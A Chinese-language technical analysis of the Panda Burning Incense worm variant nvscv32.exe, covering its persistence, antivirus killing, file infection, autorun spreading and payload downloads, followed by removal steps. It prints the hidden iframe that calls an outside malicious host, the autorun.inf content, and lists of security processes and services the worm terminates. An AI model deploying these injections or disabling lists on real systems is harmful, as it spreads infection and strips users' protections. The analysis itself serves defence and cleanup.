熊貓燒香病毒 nvscv32.exe 變種技術分析 (4/4)：行為詳解、感染機制、下載載荷、清除對策

五、技術行為深度分析

1. 檔案落地與自啟動

• 複製自身至 %SystemRoot%\system32\drivers\nvscv32.exe。
• 登錄 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\nvscv32 = 執行路徑，實現開機自啟。

2. 反殺毒：查找並終結視窗/進程

關鍵字匹配視窗標題/類別：天網防火牆、VirusScan、Symantec、System Safety Monitor、System Repair Engineer、Wrapped Gift Killer、遊戲木馬檢測大師、超級巡警等。

3. 強制終結核心防護進程

• mcshield.exe, vstskmgr.exe, naprdmgr.exe, updaterui.exe, tbmon.exe, scan32.exe, ravmond.exe, ccenter.exe, ravtask.exe, rav.exe, ravmon.exe, ravstub.exe, kvxp.kxp, kvmonxp.kxp, kvcenter.kxp, kvsrvxp.exe, kregex.exe, uihost.exe, trojdIE.kxp, frogagent.exe, logo1_.exe, logo_1.exe, rundl132.exe, taskmgr.exe, msconfig.exe, regedit.exe, sreng.exe 等。

4. 停用關鍵安全服務

• schedule, sharedAccess, rsccenter, rsravmon, kvwsc, kvsrvxp, kavsvc, avp, mcafeeframework, mcshield, mctaskmanager, navapsvc, wscsvc, kpfwsvc, sndsrvc, ccproxy, ccevtmgr, ccsetmgr, spbbcsvc, symantec core lc, npfmntor, mskservice, firesvc 等。

5. 刪除防毒軟體啟動登錄項

清除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run 下 ravtask, kvmonxp, kav, kavpersonal50, mcafeeupdaterui, network associates error reporting service, shstatexe, ylive.exe, yassistse 等值。

6. 感染所有可執行檔並偽裝圖示

掛載感染器 (Appender) 於所有 .exe/.scr，修改 PE 結構插入病毒碼，同時將圖示替換為特定圖示 (非原版熊貓圖示)。

7. 跳過系統/特殊目錄

Windows, WinNT, System Volume Information, Recycled, WindowsUpdate, Windows Media Player, Outlook Express, NetMeeting, Common Files, COM+ Applications, Messenger, MSN, Microsoft FrontPage, Movie Maker 等目錄不感染。

8. 刪除 .gho 還原檔

針對 Ghost 備份檔破壞，防止使用者還原系統。

9. 建立 Autorun.inf 傳播

所有磁碟根目錄投放 setup.exe (病毒副本) + autorun.inf：
[AutoRun]
OPEN=setup.exe
shellexecute=setup.exe
shell\Auto\command=setup.exe
屬性設為隱藏、唯讀、系統。

10. 刪除網路共享

cmd.exe /c net share admin$ /del /y 等，切斷側向移動管道。

11. 植入網頁木馬利用 MS06-014

所有腳本檔 (HTML/ASP/PHP/JS) 注入：
<iframe src=https://www.krvkr.com/worm.htm width=0 height=0></iframe>
利用 IE 漏洞 (MS06-014) 無聲下載執行病毒。

12. 掃描區域網路漏洞橫向擴散

掃描內網存活主機，嘗試已知漏洞 (如弱口令、未修補漏洞) 傳播。

13. 後台下載額外惡意碼

訪問 https://www.whboy.net/update/wormcn.txt 獲取下載清單，依序下載執行：
cq.exe, mh.exe, my.exe, wl.exe, rx.exe, wow.exe, zt.exe, wm.exe, dj.exe, IEchajian.exe 等 (均為惡意程式)。

清除對策總結

1. 斷網隔離。
2. 安全模式啟動 (病毒進程未載入)。
3. 刪除 %SystemRoot%\system32\drivers\nvscv32.exe。
4. msconfig 或 HijackThis 刪除啟動項。
5. 執行江民/卡巴斯基專殺工具修復被感染 .exe。
6. Dreamweaver 或 BatchTextReplacer 批次清除網頁木馬 iframe 代碼。
7. 全盤掃毒清除殘留。
8. 刪除各磁碟根目錄 autorun.inf、setup.exe、Desktop_.ini。
9. 修補 MS06-014 等關鍵漏洞。

順序關鍵：先專殺修復帶毒檔案，再全盤掃毒，避免可修復檔案被誤刪。